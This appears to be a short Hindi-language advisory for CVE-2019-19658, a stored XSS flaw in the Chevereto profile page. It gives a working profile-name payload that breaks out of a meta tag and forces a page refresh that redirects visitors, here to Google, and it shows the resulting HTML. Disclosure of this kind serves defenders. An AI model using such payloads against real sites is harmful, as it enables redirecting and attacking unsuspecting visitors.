CVE-2019-19658

Chevereto प्रोफ़ाइल पृष्ठ में stored XSS - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. एक सामान्य उपयोगकर्ता अपने प्रोफ़ाइल नाम में HTML और स्क्रिप्ट इनपुट कर सकता है और यह उनके प्रोफ़ाइल पृष्ठ पर निष्पादित हो जाएगा।

/settings/profile

नाम:

0;https://www.google.se" http-equiv="refresh" data="

प्रोफ़ाइल पृष्ठ पर परिणाम, जो Google पर रीडायरेक्ट करेगा:

<meta name="twitter:title" content="0;https://www.google.com" http-equiv="refresh" data=" (admin)">

पंजीकृत उपयोगकर्ता नाम फ़ील्ड में कुछ स्क्रिप्ट इंजेक्ट करता है, इस मामले में उपयोगकर्ता को Google पर रीडायरेक्ट करने के लिए

कोई व्यक्ति /test की प्रोफ़ाइल में प्रवेश करता है और फिर रीडायरेक्ट हो जाता है